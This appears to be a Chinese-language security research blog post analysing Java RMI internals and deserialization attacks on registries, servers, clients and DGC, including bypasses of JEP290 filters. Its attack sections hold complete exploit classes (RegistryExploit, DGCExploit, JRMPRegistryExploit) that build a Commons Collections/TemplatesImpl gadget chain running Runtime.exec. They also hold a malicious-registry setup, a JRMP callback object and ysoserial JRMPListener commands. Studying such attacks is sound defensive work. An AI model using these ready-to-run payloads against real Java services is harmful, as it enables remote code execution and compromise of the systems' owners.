# RMI

http://www.yongsheng.site/2022/07/11/RMI-attack/

https://xz.aliyun.com/t/7930#toc-14

https://halfblue.github.io/

https://www.bilibili.com/video/BV1L3411a7ax?spm_id_from=333.999.0.0&vd_source=4b2ca0a221ea211ecd7881292e3ad4c0

https://mogwailabs.de/en/blog/2020/02/an-trinhs-rmi-registry-bypass/

# 环境搭建

# RMIClient

IRemoteObj 接口,需要继承 Remote 类

import java.rmi.Remote;
import java.rmi.RemoteException;
public interface IRemoteObj extends Remote {
    public String seyHello(String keywords) throws RemoteException;
}

RMIClient

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIClient {
    public static void main(String[] args) throws Exception {
        // 获取注册中心
        Registry registry = LocateRegistry.getRegistry("localhost", 1099);
        // 去注册中心查找
        IRemoteObj remoteObj = (IRemoteObj) registry.lookup("remoteObj");
        // 方法调用
        remoteObj.seyHello("hello");
    }
}

# RMIServer

需要存在同样的 IRemoteObj 接口,还要一个实现类

RemoteObjImpl , 需要继承 UnicastRemoteObject 类

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class RemoteObjImpl extends UnicastRemoteObject implements IRemoteObj{
    protected RemoteObjImpl() throws RemoteException {
    }
    @Override
    public String seyHello(String keywords) throws RemoteException {
        String upKeywords = keywords.toUpperCase();
        System.out.println(upKeywords);
        return  upKeywords;
    }
}

RMIServer

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
    public static void main(String[] args) throws Exception {
        // 创建远程对象的时候客户端就可以与服务端通信,但是客户端不知道其端口是多少
        IRemoteObj remoteObj = new RemoteObjImpl();
        // 创建一个注册中心
        Registry r = LocateRegistry.createRegistry(1099);
        // 将对象和注册中心绑定,注册中心的名字为 remoteObj
        r.bind("remoteObj", remoteObj);
    }
}

# 测试

image-20220920131022169

成功调用函数

# 流程分析

文章里师傅说 141 以后可以用,大伙可以试试

image-20220921145154780

先上图

简单版

image-20220920131157108

复杂版

image-20220920131140659

# 服务端创建远程服务

image-20220920131522633

image-20220920131630565

image-20220920131710192

这个构造函数会将远程对象发布到传入的端口上,如果传入的是 0 那么端口随机

跟进 exportObject

image-20220920131924813

这个函数是静态函数,也就是说如果远程对象没有继承这个类需要手动调用这个方法发布,0ctf 就是如此

传入了两个,一个是远程接口实现类,另一个 UnicastServerRef 则实现了处理网络请求的逻辑

跟进 UnicastServerRef

image-20220920132246355

跟进 LiveRef

image-20220920132317567

跟进构造函数

image-20220920132401573

发现一个 TCPEndpoint,看一下这个类里面内容

image-20220920132608671

存有 ip, port 还有一个 transport

image-20220920132723169

返回这里看到 UnicastServerRef 的父类构造方法

image-20220920132759377

单纯赋值,所以从头到尾就创建了一个 LiveRef

接着返回跟进 exportObject 方法

image-20220920132912484

image-20220920133055640

跟进

image-20220920133147082

实际上这个 var5 就是 stub,那么为什么客户端上的 stub 会在服务端上创建

因为流程上是服务端创建 stub 放到注册中心,然后客户端到注册中心拿,之后再通过 stub 进行操作

image-20220920133355753

这里的第四部就是返回这个 stub

往下看

image-20220920133509978

这里创建了一个代理,进去看看

image-20220920133633903

var0 就是 RemoteObjImpl 类, var0 就是封装了 LiveRef 类的 UnicastRef 类

然后就正常创建一个代理

image-20220920134046531

往下会看到一个与 stub 对应的 Skeleton,这里不满足先跳过

接着创建了一个总封装类 Target,跟进看看

image-20220920134459133

注意到这个 target 里面的 id 与 stub 里面的 id 是相同的,也就是说最核心的还是这个 LiveRef

image-20220920134633018

接着将 target 发布,一路跟进

image-20220920134902362

跟进 this.linten ()

image-20220920135249588

private void listen() throws RemoteException {
    assert Thread.holdsLock(this);
        // 获取 TCPEndpoint 对象
    TCPEndpoint var1 = this.getEndpoint();
  // 从 TCPEndpoint 对象中获取端口号,默认情况下是为 0
    int var2 = var1.getPort();
    if (this.server == null) {
        if (tcpLog.isLoggable(Log.BRIEF)) {
            tcpLog.log(Log.BRIEF, "(port " + var2 + ") create server socket");
        }
        try {
          // 此方法执行完成后会随机分配一个端口号
            this.server = var1.newServerSocket();
            Thread var3 = (Thread)AccessController.doPrivileged(new NewThreadAction(new TCPTransport.AcceptLoop(this.server), "TCP Accept-" + var2, true));
            var3.start();
        } catch (BindException var4) {
            throw new ExportException("Port already in use: " + var2, var4);
        } catch (IOException var5) {
            throw new ExportException("Listen failed on port: " + var2, var5);
        }
    } else {
        SecurityManager var6 = System.getSecurityManager();
        if (var6 != null) {
            var6.checkListen(var2);
        }
    }
}

经由以上分析,我们可知每创建一个远程方法对象,程序都会为其创建一个独立的线程,并为其指定一个端口号

最后一路返回就完成了整个发布

小结

image-20220920140430467

# 服务端创建注册中心

image-20220920141302481

image-20220920141410610

image-20220920141432771

这里创建一个 LiveRef,并且用 UnicastServerRef 封装和前面是一样的,进入 setup

image-20220920141552875

跟进到这里

image-20220920144848353

image-20220920144909728

这里进入 createStub 是刚刚没有的,看看判断条件

image-20220920145026255

它会判断传入的类名加上 '_Stub' 后缀的类是否存在,即判断 RegistryImpl_Stub 是否存在

这里显然是有的,所以返回 true

image-20220920145231511

然后创建一个实例

image-20220920145325616

stub 就创建好了,区别就是这个 stub 是 jdk 自带的类,而前面的 stub 是一个动态代理

image-20220920150309246

接着来到这里

image-20220920150450654

这个 skel 是和 stub 对应的代理,跟进

image-20220920150556299

这个 RegistryImpl_Skel 也存在 jdk 中

image-20220920150710121

new 一个实例返回

image-20220920150809874

将其设置为 UnicastServerRef 的 skel 内部变量

image-20220920150932676

就是这个,接下来继续创建 target,不过这次跟进 exportObject

image-20220920151002015

跟进到这

image-20220920155642395

跟进 putTarget

image-20220920155718200

看看 put 进去之后有啥

image-20220920160039519

一个存储了 DGC 的 stub

image-20220920160059763

这个 DGC stub 是分布式垃圾回收,是默认创建的对象,这个先不看

先看这个

image-20220920160339447

stub 为 proxy,创建远程服务的动态代理;UnicastServerRef 中 skel 为空,且内部也封装了一个 LiveRef,这个 LiveRef 和 stub 的 LiveRef 是同一个

image-20220920160652555

另一个是一样的,区别就是 stub 以及 skel

image-20220920160801226

本质就是远程服务开了一个随机端口,注册中心开启了一个固定端口,并且创建一个 stub 和 skel

# 服务端绑定

image-20220920161150669

bindings 是一个 hashtable,先检查里面有没有 remoteObj,如果没有就 put 进去

这样服务端就结束了

# 客户端请求注册中心 -- 客户端

image-20220921095055876

image-20220920161445685

image-20220920161502186

这里是根据传进来的参数本地再创建一个 LiveRef 并且继续创建一个代理

image-20220920161545609

image-20220920161602300

后面就和创建注册中心时一样

image-20220920162005345

image-20220920162018696

这样就本地创建了注册中心的 stub 对象

接着往下看 lookup

image-20220921100627354

image-20220920162236186

这里走到 newCall 而不是 lookup 是因为源码的版本是 java1.1,而我们的版本是 1.8,反编译的时候会出问题就调试不了

看看 lookup 里面的逻辑

image-20220920162955529

第一句先创建了一个连接,然后创建输入流,将我们传入的字符串(也就是 remoteObj)序列化进去

接着调用 UnicastRef 的 invoke 方法

image-20220920163447924

跟进

image-20220920163532256

这里是真正处理网络请求的方法,里面处理的协议就是 JRMP 协议,先返回继续看 lookup 逻辑

image-20220920163659137

调用之后就反序列化从返回的流中读出

这里有一个利用点,如果一个恶意的注册中心返回恶意类,那么就会造成问题

还有一个利用点就在刚刚的 invoke 方法中的 executeCall ()

image-20220920164025470

这里的 var1 是一个异常,如果异常值为 2 那么会从异常中反序列化,也就是说只要利用了 invoke 方法就可能被攻击

例如在 bind 方法中也调用了 invoke,也是可以攻击的

image-20220920164217430

调用 invoke 之后就获取了一个 remote 的动态代理,下一步就是客户端直接连接服务端

# 客户端请求服务端 -- 客户端

image-20220921101050822

image-20220920172438425

这里进入了动态代理的 invoke 方法

image-20220920172839329

跟进

image-20220920212915390

跟进查看主逻辑

image-20220920213230146

这里有个 marshalValue,传入的参数是我们调用方法传入的参数 hello,跟进 marshalValue 看看

image-20220920213441142

判断一下是不是基本类型然后将其序列化

image-20220920213529876

此时还会调用 executeCall,就是之前提到过的一个利用点,继续往下

image-20220920213700369

如果 return 不为空会调用 unmarshalValue

image-20220920213735794

这里有一个 readObject,也是一个利用点

# 客户端请求注册中心 -- 注册中心

在服务端 **sun.rmi.transport.tcp.TCPTransport.handleMessages ()** 下个断点

image-20220920221158528

从 serviceCall 进入

image-20220920221342839

这个 target 就是服务端创造的 RegistryImpl_stub

image-20220920221822349

然后获取其 stub 里面的 Dispatcher

image-20220920221932655

这个 Dispatcher 就是 UnicastServerRef,快进到 dispatch

image-20220920222049342

image-20220920222124198

image-20220920222140509

到这个 skel 的 dispatch, 跟进

image-20220920222231308

看看逻辑

image-20220920222334763

image-20220920222350513

case0 是 bind 方法,case1 是 list 方法,case2 是 lookup 方法,目前来说就是 lookup 方法

image-20220920222557980

这里就直接进行反序列化,那么这里也可以有一个利用点

客户端请求注册中心的注册中心端就搞定了

# 客户端请求注册中心 -- 服务端

image-20220921102741427

image-20220921083052726

往下

image-20220921083849658

此时 skel 为空跳过 oldDispatch

image-20220921084005850

重点是这里会把客户端序列化的数据反序列化

image-20220921084139131

将 hello 反序列化出来,接着尝试调用远程方法

image-20220921084206812

此时就输出了出来

image-20220921084236978

再往下就是将结果序列化,在客户端反序列化将结果读出来

image-20220921084303080

这是一个相互打的利用点

# 客户端请求服务端 --DGC

从这个地方打个断点

image-20220921084845753

因为 DGCImpl.dgcLog 是静态变量,当调用一个类的静态变量时会对类进行一个初始化,就会走到类的静态代码块里面

image-20220921085028078

这里先创建了 DGCImpl 对象,又创建了一个动态代理

image-20220921085415588

而 DGCImpl_Skel 和 DGCImpl_Stub jdk 里面都有,所以会创建这两个类的实例

image-20220921085543508

最后照样 putTarget

下面看看 DGCImpl_Stub 里面的方法

image-20220921085735071

image-20220921085745368

可以看到其 clean 和 dirty 都调用了 invoke 方法,可以被攻击

除此以外看到 dirty 方法

image-20220921085838170

有一个反序列化

再看看 Skel

image-20220921085917867

同样有一个

DGC 也差不多了

# 攻击实现

image-20220921193521214

# 客户端 / 服务端攻击注册中心

首先看下攻击注册中心的方法,这里把客户端和服务端写在一起,因为从前面的流程已经分析过,实际上对注册中心来说并没有具体区分客户端和服务端,只是调用的函数不同罢了。调用 lookup 就代表是客户端,调用 bind 就代表是服务端。

既然要攻击注册中心,那么反序列化点自然是在注册中心里,也就是 Registryimpl_Skel#dispatch。实际上这里面有反序列化点的都能打,先看看 lookup。正常使用应该是客户端调用 RegistryImpl_Stub 里面的 lookup

image-20220921115315186

实际上 ref.invoke 就已经将客户端的数据传过去了,所以后面的代码对攻击不重要。这里有个问题,就是正常来说这个功能只接受字符串作为参数,那么 skel 那里也只会反序列化一个字符串,看上去是不能利用的。但实际上客户端已经获取到 RegistryImpl_Stub 了,也就获取到了里面的 ref,自己实现一个 lookup 把恶意对象发过去就行了.
同样的道理,服务端攻击注册中心就是重新写个 bind 之类的,直接上代码,加个 cc 依赖弹计算器:

这个方法适合在 jdk 低版本

public class RegistryExploit {
    public static void main(String[] args) throws Exception{
        RegistryImpl_Stub registry = (RegistryImpl_Stub) LocateRegistry.getRegistry("127.0.0.1", 1099);
        lookup(registry);
//        bind(registry);
    }
    public static void lookup(RegistryImpl_Stub registry) throws Exception {
        Class RemoteObjectClass = registry.getClass().getSuperclass().getSuperclass();
        Field refField = RemoteObjectClass.getDeclaredField("ref");
        refField.setAccessible(true);
        UnicastRef ref = (UnicastRef) refField.get(registry);
        Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};
        RemoteCall var2 = ref.newCall(registry, operations, 2, 4905912898345647071L);
        ObjectOutput var3 = var2.getOutputStream();
        var3.writeObject(genEvilMap());
        ref.invoke(var2);
    }
    public static void bind(RegistryImpl_Stub registry) throws Exception {
        Class RemoteObjectClass = registry.getClass().getSuperclass().getSuperclass();
        Field refField = RemoteObjectClass.getDeclaredField("ref");
        refField.setAccessible(true);
        UnicastRef ref = (UnicastRef) refField.get(registry);
        Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};
        RemoteCall var3 = ref.newCall(registry, operations, 0, 4905912898345647071L);
        ObjectOutput var4 = var3.getOutputStream();
        var4.writeObject("test");
        var4.writeObject(genEvilMap());
        ref.invoke(var3);
    }
    public static byte[] getTemplatesImpl(String cmd) {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("Evil");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody(" try {\n" +
                    " Runtime.getRuntime().exec(\"" + cmd +
                    "\");\n" +
                    " } catch (Exception ignored) {\n" +
                    " }");
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }
    public static HashMap genEvilMap() throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_name", "aaa");
        byte[] code = getTemplatesImpl("calc");
        byte[][] bytecodes = {code};
        setFieldValue(templates, "_bytecodes", bytecodes);
        setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer", null,null)
        };
        ChainedTransformer chainedTransformer = new  ChainedTransformer(transformers);
        //chainedTransformer.transform(1);
        HashMap<Object,Object> map = new  HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
        HashMap<Object, Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry, "bbb");
        lazyMap.remove("key");
        Class c = LazyMap.class;
        Field field =  c.getDeclaredField("factory");
        field.setAccessible(true);
        field.set(lazyMap, chainedTransformer);
        return map2;
    }
}

服务端攻击

image-20220921123309580

image-20220921123331879

bind 那里也可以自己加一层代理变成 Remote 对象然后调用原生的 bind 方法。另外为了简单这个代码调用了 UnicastRef#invoke,也就是实际上是可能被反打的

# JEP290 修复

# 注册中心攻击客户端

反过来注册中心也是可以打与它通信的对象,Registry_impl_Stub 中的 lookup 和 list 两个方法调用了 readObject,会反序列化查询到的 Stub 对象。那么在注册中心绑定恶意对象,客户端调用 registry.lookup/list 的时候就能攻击客户端:

public class EvilRegistry {
    public static void main(String[] args) throws Exception {
        new RemoteObjImpl();
        Remote remoteObj = new RemoteWrapper();
        Registry r = LocateRegistry.createRegistry(1099);
        r.bind("remoteObj",remoteObj);
    }
}
class RemoteWrapper implements Remote, Serializable {
    private Map map;
    RemoteWrapper() throws Exception {
        this.map = genEvilMap();
    }
}

启动恶意注册中心

image-20220921123719312

客户端查询

image-20220921123801904

# 客户端攻击服务端

这个攻击场景的前提是知道服务端开放的远程方法,并且参数类型不是基础类型

之前分析客户端调用服务端远程对象的过程,服务端的 UnicastServerRef#dispatch 调用了 unmarshalValue。那么客户端把参数设置成 payload 就能攻击了,当然前提是服务端接收的参数类型不能是基础类型。

如果接收参数是 Object,那就很简单,直接传恶意对象就行了。但如果是 String 之类的,从代码上看也是能攻击的,但是不能直接传 payload,那么看一下应该怎么写。
很容易想到,我在客户端重新定义一个接收 Object 的远程方法试试:

public interface IRemoteObj extends Remote {
    //sayHello 就是客户端要调用的方法,需要抛出 RemoteException
    public String sayHello(Object keywords) throws RemoteException;
}

将方法参数改成 Object 后,运行客户端,报错 java.rmi.UnmarshalException: unrecognized method hash: method not supported by remote object

image-20220921124938239

直接搜一下这个报错在哪,发现在 UnicastServerRef#dispatch。

public void dispatch(Remote obj, RemoteCall call) throws IOException {
       // positive operation number in 1.1 stubs;
       // negative version number in 1.2 stubs and beyond...
       int num;
       long op;
       try {
           // read remote call header
           ObjectInput in;
           try {
               in = call.getInputStream();
               num = in.readInt();
               if (num >= 0) {
                   if (skel != null) {
                       oldDispatch(obj, call, num);
                       return;
                   } else {
                       throw new UnmarshalException(
                           "skeleton class not found but required " +
                           "for client version");
                   }
               }
               op = in.readLong();
           } catch (Exception readEx) {
               throw new UnmarshalException("error unmarshalling call header",
                                            readEx);
           }
           /*
            * Since only system classes (with null class loaders) will be on
            * the execution stack during parameter unmarshalling for the 1.2
            * stub protocol, tell the MarshalInputStream not to bother trying
            * to resolve classes using its superclasses's default method of
            * consulting the first non-null class loader on the stack.
            */
           MarshalInputStream marshalStream = (MarshalInputStream) in;
           marshalStream.skipDefaultResolveClass();
           Method method = hashToMethod_Map.get(op);
           if (method == null) {
               throw new UnmarshalException("unrecognized method hash: " +
                   "method not supported by remote object");
           }

将这个 hash 值改成 hashToMethod_Map 里面的 hash 就行了。但正常来说这个 hash 值也是不好找的,所以尝试找到计算 hash 值的地方。跟一下客户端的调用流程,RemoteObjectInvocationHandler#invoke

private Object invokeRemoteMethod(Object proxy,
                                  Method method,
                                  Object[] args)
    throws Exception
{
    try {
        if (!(proxy instanceof Remote)) {
            throw new IllegalArgumentException(
                "proxy not Remote instance");
        }
        return ref.invoke((Remote) proxy, method, args,
                          getMethodHash(method));
    } catch (Exception e) {
        if (!(e instanceof RuntimeException)) {
            Class<?> cl = proxy.getClass();
            try {
                method = cl.getMethod(method.getName(),
                                      method.getParameterTypes());
            } catch (NoSuchMethodException nsme) {
                throw (IllegalArgumentException)
                    new IllegalArgumentException().initCause(nsme);
            }
            Class<?> thrownType = e.getClass();
            for (Class<?> declaredType : method.getExceptionTypes()) {
                if (declaredType.isAssignableFrom(thrownType)) {
                    throw e;
                }
            }
            e = new UnexpectedException("unexpected exception", e);
        }
        throw e;
    }
}

看到了 ref.invoke 传递的 getMethodHash (method),那么在这改 method 就可以了。为了方便直接调试改值试试,这里好像默认用的是系统类加载器,改成用 AppClassLoader 才能找到自定义的接口。
调用 remoteObj.sayHello (evilMap),在 getMethodHash 下断点

methos = ClassLoader.getSystemClassLoader().loadClass("org.example.IRemoteObj").getDeclaredMethod("sayHello",String.class)

修改后就能成功在服务端反序列化了。其实也可以和打注册中心一样重新写个 invoke,反正最后都是调用 UnicastRef#invoke。

import sun.rmi.registry.RegistryImpl_Stub;
import sun.rmi.server.UnicastRef;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIClient {
    public static void main(String[] args) throws Exception {
        RegistryImpl_Stub registry = (RegistryImpl_Stub) LocateRegistry.getRegistry("127.0.0.1", 1099);
        IRemoteObj remoteObj = (IRemoteObj) registry.lookup("remoteObj");
//        HashMap evilMap = genEvilMap();
//        remoteObj.sayHello(evilMap);
        invoke(remoteObj);
    }
    public static void invoke(IRemoteObj remoteObj) throws Exception{
        Field hField = remoteObj.getClass().getSuperclass().getDeclaredField("h");
        hField.setAccessible(true);
        Object remoteObjectInvocationHandler = hField.get(remoteObj);
        Field refField = remoteObjectInvocationHandler.getClass().getSuperclass().getDeclaredField("ref");
        refField.setAccessible(true);
        UnicastRef ref = (UnicastRef) refField.get(remoteObjectInvocationHandler);
        Method method = IRemoteObj.class.getDeclaredMethod("seyHello", String.class);
        Method methodToHash_mapsMethod = remoteObjectInvocationHandler.getClass().getDeclaredMethod("getMethodHash",Method.class);
        methodToHash_mapsMethod.setAccessible(true);
        long hash = (long) methodToHash_mapsMethod.invoke(remoteObj, method);
        ref.invoke(remoteObj, method, new Object[]{RegistryExploit.genEvilMap()}, hash);
    }
}

image-20220921142847375

# 服务端攻击客户端

顺便看看反过来的情况,前面已经分析了,客户端会调用 UnicastRef#invoke,其中对服务端返回的函数调用 unmarshalValue 对返回值进行了反序列化,那么在服务端返回一个恶意对象就可以攻击客户端。和客户端类似,如果返回值是 Object 的当然可以直接打,如果接口的返回值不是 Object,就得重写一个服务端了。比较麻烦,实际意义不大,这里就不实现了。

# DGC 相关的攻击

DGC 双向都有反序列化操作,先分析攻击 DGC 服务端。思路是获取 DGCImpl_Stub 对象,重写 dirty 方法,在 DGCImpl_Skel#dispatch 中触发反序列化,跟打注册中心的差不多,稍微麻烦点。

import sun.rmi.registry.RegistryImpl_Stub;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.Endpoint;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.io.ObjectOutput;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
public class DGCExploit {
    public static void main(String[] args) throws Exception{
        RegistryImpl_Stub registry = (RegistryImpl_Stub) LocateRegistry.getRegistry("127.0.0.1", 1099);
        Class c = registry.getClass().getSuperclass().getSuperclass();
        Field refField = c.getDeclaredField("ref");
        refField.setAccessible(true);
        UnicastRef unicastRef = (UnicastRef) refField.get(registry);
        Class c2 = unicastRef.getClass();
        Field refField2 = c2.getDeclaredField("ref");
        refField2.setAccessible(true);
        LiveRef liveRef = (LiveRef) refField2.get(unicastRef);
        Class c3 = liveRef.getClass();
        Field epField = c3.getDeclaredField("ep");
        epField.setAccessible(true);
        TCPEndpoint tcpEndpoint = (TCPEndpoint) epField.get(liveRef);
        Class c4 = Class.forName("sun.rmi.transport.DGCClient$EndpointEntry");
        Method lookupMethod = c4.getDeclaredMethod("lookup", Endpoint.class);
        lookupMethod.setAccessible(true);
        Object endpointEntry = lookupMethod.invoke(null, tcpEndpoint);
        Class c5 = endpointEntry.getClass();
        Field dgcField = c5.getDeclaredField("dgc");
        dgcField.setAccessible(true);
        RemoteObject dgc = (RemoteObject) dgcField.get(endpointEntry);
        Class c6 = dgc.getClass().getSuperclass().getSuperclass();
        Field refField3 = c6.getDeclaredField("ref");
        refField3.setAccessible(true);
        UnicastRef unicastRef2 = (UnicastRef) refField3.get(dgc);
        Operation[] operations = new Operation[]{new Operation("void clean(java.rmi.server.ObjID[], long, java.rmi.dgc.VMID, boolean)"), new Operation("java.rmi.dgc.Lease dirty(java.rmi.server.ObjID[], long, java.rmi.dgc.Lease)")};
        RemoteCall var5 = unicastRef2.newCall(dgc, operations, 1, -669196253586618813L);
        ObjectOutput var6 = var5.getOutputStream();
        var6.writeObject(RegistryExploit.genEvilMap());
        unicastRef2.invoke(var5);
    }
}

image-20220921142143659

# 攻击 JRMP 客户端

前面分析过,只要客户端的 stub 发起 JRMP 请求,就会调用 UnicastRef#invoke,也就会调用 StreamRemoteCall#executeCall,导致被反序列化攻击。这里想实现攻击需要自己实现一个恶意服务端,把返回的异常信息改成 payload,其实这就是 ysoserial 里面的 exploit/JRMPListener 实现的功能。具体实现大概就是从 TCPTransport#run0 拷过来,没用的删删,改改最后处理的地方。

具体使用是先启动监听

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 calc.exe

然后客户端只要调用任意一个 stub,触发 UnicastRef#invoke 就会被攻击,比如调用注册中心 stub

这里的 ip 不能用 localhost,而是要用本机 ip

Registry registry = LocateRegistry.getRegistry("172.17.227.72", 1099);
IRemoteObj remoteObj = (IRemoteObj) registry.lookup("remoteObj");

image-20220921185855405

# 高版本绕过

在 jep290 以后在 RegistryImpl 中有一个 registryFilter

image-20220921151319885

return 
String.class != var2 && 
!Number.class.isAssignableFrom(var2) && 
!Remote.class.isAssignableFrom(var2) && 
!Proxy.class.isAssignableFrom(var2) && 
!UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && 
!UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;

这里有一些判断,如果类是这些类才能反序列化

而在 DGCImpl 中有一个 checkInput 函数

image-20220921152231006

return 
var2 != ObjID.class && 
var2 != UID.class && 
var2 != VMID.class && 
var2 != Lease.class ? Status.REJECTED : Status.ALLOWED;

只有这些类可以反序列化

# 绕过 JEP290 攻击注册中心

image-20220921173005380

DGCImpl 的限制有点狠,尝试绕过 RegistryImpl 限制

思路就是服务端发起一个客户端请求,在服务端上进行反序列化

注意到 RegistryImpl 白名单中存在 UnicastRef 类,而 UnicastRef 有 invoke 方法,那么开始寻找调用 UnicastRef.invoke () 方法的地方

其实 invoke 就是调用远程方法,只有 Stub 才会调用这个函数,看看前面的出现的几种 Stub 里面调用 invoke 的地方:

  • RegistryImpl_Stub 中的 list/lookup/bind/rebind/unbind 方法
  • RemoteObjectInvocationHandler#invokeRemoteMethod
  • DGCImpl_Stub 中的 dirty/clean

如果能在服务端 / 注册中心上创建上述 Stub 并且调用对应的方法,那么服务端就变成 JRMP 客户端,导致被攻击。

首先分别看一下这三个 Stub 的创建流程。前面分析知道实际上 Stub 对象都是由 Util#createProxy 创建的,那么往上找调用链看看:

  • RegistryImpl_Stub 是由 LocateRegistry#getRegistry 创建的,服务端不会调用。
  • 远程对象 Stub 是在 UnicastServerRef#exportObject 创建,保存在 Target 的 stub 参数里面。但是没有找到服务端使用这个 stub 的地方。

DGCImpl_Stub 有两个地方创建,前面分析过,第一个是 DGCImpl 的静态代码块。第二处是在 DGCClient$EndPointEntry 的构造函数

image-20220921155703762

来看一下这里是怎么调用 invoke 方法的

image-20220921172304804

在创建动态代理之后开启了一个 RenewCleanThread 线程,看到它的 run 方法

image-20220921172508446

这里调用了一个 DGCClient.makeDirtyCall () 方法

image-20220921172531474

调用了 dirty 来触发一个客户端请求

image-20220921172637545

最终调用了 UnicastRef.invoke () 方法

然后看看哪里调用了 UnicastRef.invoke () 方法

往上是 DGCClient$EndPointEntry#lookup

image-20220921160016844

然后是 DGCClient#registerRefs。

image-20220921162515686

再往上找到两处

  • LiveRef#read

image-20220921162658500

DGCClient.registerRefs 在一个 else 里面,判断输入流是不是 ConnectionInputStream,在 RMI 流程里面是进不去的。

  • ConnectionInputStream#registerRefs

image-20220921164638282

这里有个 if,需要 incomingRefTable 不为空才能进入。

它的上层调用是 StreamRemoteCall#releaseInputStream

image-20220921164614711

这个 StreamRemoteCall 就是之前 JRMP 客户端攻击点

StreamRemoteCall.releaseInputStream () 方法在 RegistryImpl_Skel.dispatch () 方法中调用

image-20220921171129251

也就是说只要客户端调用了方法就能一路走下去,所以现在需要想办法改变代码执行逻辑,让 incomingRefTable 不为空,搜索修改它的地方,发现只有一处 ConnectionInputStream#saveRef

image-20220921164659139

并且它的调用也只有一处 LiveRef#read

image-20220921164732583

再往上发现 LiveRef#read 在 UnicastRef#readExternal 里调用了。

image-20220921165554598

readExternal 就是实现 Externalize 接口的类反序列化时触发的方法,那也就是说如果同一个输入流里有 UnicastRef 对象反序列化了,并且之后调用了 releaseInputStream 就能触发 DGCClient$EndPointEntry 的构造函数,最终触发 makeDirtyCall 发起 UnicastRef#invoke,导致被攻击

那么现在知道,用 Reigstry_Skel#dispatch 里面的反序列化做入口点,就可以在注册中心成功创建一个可控的 DGCImpl_Stub 并触发 JRMP 请求。并且之前分析过是一直循环调用的,相当于一个自动回连的后门。

具体的实现分两部分,第一部分是构造恶意对象,让注册中心发起 dirty 请求,这里和前面客户端攻击注册中心类似

import sun.rmi.registry.RegistryImpl_Stub;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.io.ObjectOutput;
import java.lang.reflect.Field;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.ObjID;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
public class JRMPRegistryExploit {
    public static void main(String[] args) throws Exception{
        RegistryImpl_Stub registry = (RegistryImpl_Stub) LocateRegistry.getRegistry("127.0.0.1", 1099);
        lookup(registry);
    }
    public static void lookup(RegistryImpl_Stub registry) throws Exception {
        Class RemoteObjectClass = registry.getClass().getSuperclass().getSuperclass();
        Field refField = RemoteObjectClass.getDeclaredField("ref");
        refField.setAccessible(true);
        UnicastRef ref = (UnicastRef) refField.get(registry);
        Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};
        RemoteCall var2 = ref.newCall(registry, operations, 2, 4905912898345647071L);
        ObjectOutput var3 = var2.getOutputStream();
        var3.writeObject(genEvilJRMPObj());
        ref.invoke(var2);
    }
    private static Object genEvilJRMPObj() {
        LiveRef liveRef = new LiveRef(new ObjID(), new TCPEndpoint("127.0.0.1", 7777), false);
        UnicastRef unicastRef = new UnicastRef(liveRef);
        return unicastRef;
    }
}

第二部分是恶意服务端,这部分就是 ysoserial/exploit/JRMPListener 了。

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections6 calc

这里的 ip 一样需要本机 ip(jdk8u181)

image-20220921190216796

# JDK8u231 修复与绕过

而在 jdk8u231 中,RMI 又增加了新的安全措施,上面的方法就寄了

image-20220921190629673

首先是对注册中心进行了加固,更新后的 RegistryImpl_Skel#dispatch

image-20220921191113327

在反序列化异常后会进入 call.discardPendingRefs (),其实就是把 incomingRefTable 清空。那么 lookup 的时候类型转换肯定会抛异常,也就没办法攻击了

还有一处修复在 DGCImpl_Stub

image-20220921191221526

image-20220921191242321

把过滤器放在了 invoke 之前,这样 invoke 里面触发的反序列化也被拦截了。这两处哪一个对之前的 JRMP 攻击方式来说都是致命的,也就是说 8u231 之后原本用 DGCImpl_Stub#dirty 触发的 JRMP 反打的攻击也失效了。

